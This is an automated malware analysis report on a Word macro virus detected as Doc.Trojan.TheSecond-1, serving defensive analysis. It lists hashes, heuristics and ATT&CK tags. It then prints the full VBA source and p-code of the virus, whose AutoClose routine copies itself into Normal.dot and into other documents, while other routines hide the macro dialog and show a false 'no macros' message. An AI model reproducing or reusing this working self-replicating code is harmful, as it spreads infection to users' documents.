Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8763940e12e0e611…

MALICIOUS

Office (OLE)

39.0 KB Created: 2000-09-15 08:07:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9f9e27d19c33e2d74d209d23521f770f SHA-1: 780251c03781e8953925cb224f9fd7c47482c365 SHA-256: 8763940e12e0e6117ee803b897c889162894abbcb7ce4c475b5eb5b9c02bb767
128 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro markers and a VBA Auto_Close macro within the 'TheSecond' module. This macro attempts to export itself to a temporary file and import it into the Normal.dot template, indicating an attempt to infect the template and potentially other documents. The presence of 'TheSecond' in multiple contexts suggests it is the name of the malicious macro or payload.

Heuristics 4

  • ClamAV: Doc.Trojan.TheSecond-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.TheSecond-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7573 bytes
SHA-256: 1ad8abfe03128ad28191d0f82a7d77a21823d39479c76d2e62040237d783f94f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "TheSecond"
Sub AutoClose()
  
  
  flag = False
  If Documents.Count >= 1 Then
    counter = NormalTemplate.VBProject.VBComponents.Count
    For i = 1 To counter
      If NormalTemplate.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    x = Application.StartupPath + "\TheSecond.tmp"
    If Not flag Then
      ActiveDocument.VBProject.VBComponents("TheSecond").Export (x)
      NormalTemplate.VBProject.VBComponents.Import (x)
    End If
    flag = False
    infected = False
    havesave = ActiveDocument.Saved
    For i = 1 To ActiveDocument.VBProject.VBComponents.Count
      If ActiveDocument.VBProject.VBComponents.Item(i).Name = "TheSecond" Then flag = True
    Next i
    If Not flag Then
      NormalTemplate.VBProject.VBComponents("TheSecond").Export (x)
      ActiveDocument.VBProject.VBComponents.Import (x)
      infected = True
    End If
    If havesave And infected And (Left(ActiveDocument.Name, 8) <> "Документ") Then
      Dialogs(wdDialogFileSaveAs).Execute
    End If
    ActiveDocument.Saved = havesave
  End If
End Sub
Sub FilePrint()
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Нюбин"
    .Replacement.Text = "Нудин"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
  Dialogs(wdDialogFilePrint).Show
  Selection.Find.ClearFormatting
  Selection.Find.Replacement.ClearFormatting
  With Selection.Find
    .Text = "Нудин"
    .Replacement.Text = "Нюбин"
    .Forward = True
    .Wrap = wdFindContinue
    .Format = False
    .MatchCase = False
    .MatchWholeWord = False
    .MatchWildcards = False
  End With
  Selection.Find.Execute Replace:=wdReplaceAll
End Sub
Sub ToolsMacro()
  Dialogs(wdDialogToolsMacro).Display
End Sub
Sub ViewVBCode()
  MsgBox ("Нет загруженных макросов!")
End Sub

' Processing file: /tmp/qstore_1bn0iezt
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 1182 bytes
' Macros/VBA/TheSecond - 3551 bytes
' Line #0:
' 	FuncDefn (Sub AutoClose())
' Line #1:
' Line #2:
' Line #3:
' 	LitVarSpecial (False)
' 	St flag 
' Line #4:
' 	Ld Documents 
' 	MemLd Count 
' 	LitDI2 0x0001 
' 	Ge 
' 	IfBlock 
' Line #5:
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	St counter 
' Line #6:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld counter 
' 	For 
' Line #7:
' 	Ld i 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #8:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #9:
' 	Ld Application 
' 	MemLd StartupPath 
' 	LitStr 0x000E "\TheSecond.tmp"
' 	Add 
' 	St x 
' Line #10:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #11:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #12:
' 	Ld x 
' 	Paren 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #13:
' 	EndIfBlock 
' Line #14:
' 	LitVarSpecial (False)
' 	St flag 
' Line #15:
' 	LitVarSpecial (False)
' 	St infected 
' Line #16:
' 	Ld ActiveDocument 
' 	MemLd Saved 
' 	St havesave 
' Line #17:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	MemLd Count 
' 	For 
' Line #18:
' 	Ld i 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0009 "TheSecond"
' 	Eq 
' 	If 
' 	BoSImplicit 
' 	LitVarSpecial (True)
' 	St flag 
' 	EndIf 
' Line #19:
' 	StartForVariable 
' 	Ld i 
' 	EndForVariable 
' 	NextVar 
' Line #20:
' 	Ld flag 
' 	Not 
' 	IfBlock 
' Line #21:
' 	Ld x 
' 	Paren 
' 	LitStr 0x0009 "TheSecond"
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	ArgsMemLd VBComponents 0x0001 
' 	ArgsMemCall Export 0x0001 
' Line #22:
' 	Ld x 
' 	Paren 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemCall Import 0x0001 
' Line #23:
' 	LitVarSpecial (True)
' 	St infected 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld havesave 
' 	Ld infected 
' 	And 
' 	Ld ActiveDocument 
' 	MemLd New 
' 	LitDI2 0x0008 
' 	ArgsLd LBound 0x0002 
' 	LitStr 0x0008 "Документ"
' 	Ne 
' 	Paren 
' 	And 
' 	IfBlock 
' Line #26:
' 	Ld wdDialogFileSaveAs 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Execute 0x0000 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	Ld havesave 
' 	Ld ActiveDocument 
' 	MemSt Saved 
' Line #29:
' 	EndIfBlock 
' Line #30:
' 	EndSub 
' Line #31:
' 	FuncDefn (Sub FilePrint())
' Line #32:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #33:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #34:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #35:
' 	LitStr 0x0005 "Нюбин"
' 	MemStWith Then 
' Line #36:
' 	LitStr 0x0005 "Нудин"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #37:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #38:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #39:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #40:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #41:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #42:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #43:
' 	EndWith 
' Line #44:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #45:
' 	Ld wdDialogFilePrint 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Show 0x0000 
' Line #46:
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #47:
' 	Ld Selection 
' 	MemLd Find 
' 	MemLd Replacement 
' 	ArgsMemCall ClearFormatting 0x0000 
' Line #48:
' 	StartWithExpr 
' 	Ld Selection 
' 	MemLd Find 
' 	With 
' Line #49:
' 	LitStr 0x0005 "Нудин"
' 	MemStWith Then 
' Line #50:
' 	LitStr 0x0005 "Нюбин"
' 	MemLdWith Replacement 
' 	MemSt Then 
' Line #51:
' 	LitVarSpecial (True)
' 	MemStWith Forward 
' Line #52:
' 	Ld wdFindContinue 
' 	MemStWith Wrap 
' Line #53:
' 	LitVarSpecial (False)
' 	MemStWith Format$ 
' Line #54:
' 	LitVarSpecial (False)
' 	MemStWith MatchCase 
' Line #55:
' 	LitVarSpecial (False)
' 	MemStWith MatchWholeWord 
' Line #56:
' 	LitVarSpecial (False)
' 	MemStWith MatchWildcards 
' Line #57:
' 	EndWith 
' Line #58:
' 	Ld wdReplaceAll 
' 	ParamNamed Replace 
' 	Ld Selection 
' 	MemLd Find 
' 	ArgsMemCall Execute 0x0001 
' Line #59:
' 	EndSub 
' Line #60:
' 	FuncDefn (Sub ToolsMacro())
' Line #61:
' 	Ld wdDialogToolsMacro 
' 	ArgsLd Dialogs 0x0001 
' 	ArgsMemCall Display 0x0000 
' Line #62:
' 	EndSub 
' Line #63:
' 	FuncDefn (Sub ViewVBCode())
' Line #64:
' 	LitStr 0x0019 "Нет загруженных макросов!"
' 	Paren 
' 	ArgsCall MsgBox 0x0001 
' Line #65:
' 	EndSub

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